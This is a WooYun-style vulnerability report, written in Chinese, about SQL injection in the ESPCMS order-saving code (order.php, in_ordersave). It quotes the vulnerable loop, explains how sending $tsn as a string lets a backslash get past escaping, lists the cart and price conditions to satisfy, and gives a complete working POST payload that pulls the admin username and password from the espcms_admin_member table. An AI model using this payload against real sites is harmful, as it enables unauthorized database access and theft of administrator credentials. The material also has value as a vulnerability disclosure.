WooYun.org

在order.php in_ordersave中
365-367行附近

foreach ($did as $key => $value) {
				$value = intval($value);
				$oprice[$key] = floatval($oprice[$key]);
				$bprice[$key] = floatval($bprice[$key]);
				$countprice[$key] = floatval($countprice[$key]);
				$amount[$key] = intval($amount[$key]);
				if ($key == $arraycount) {
					$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1)";
				} else {
					$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1),";
				}
			}

这个 $tsn 和 $did $ptitle 都是可控的变量 就是等于 $_POST[XXX]
看这个 $tsn 如果不是数组会怎么样?取值就会变成 $tsn{x}的方式
所以我们可以利用这个来达到绕过转义的限制 来达到注入的目的。
$cookiceprice = $this->fun->eccode(md5("$productmoney|$discount_productmoney"), 'ENCODE', db_pscode);
if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) {

$cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode);
		$cartid = stripslashes(htmlspecialchars_decode($cartid));
		$uncartid = !empty($cartid) ? unserialize($cartid) : 0;

进入流程需要上面的条件。uncartid 是购物车列表里面的。后面的几个验证也是的。
我们只需要在【产品展示】->找一个产品然后【我要购买】就可以加入购物车里面了。
然后点【下一步（结算）】记住总金额。
index.php?ac=order&at=ordersave
productmoney和discount_productmoney替换成产品的金额。
productmoney=15000&discount_productmoney=15000&tsn=\&userid=4&did[x]=1&amount=1&ptitle[x]=,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#&email=xxx@qq.com&bprice=1&countprice=1&opid=1&osid=1
uid换成自己的 uid怎么获得 提交订单的页面 右键查看源码 <input type="hidden" name="userid" value="4"/>
即可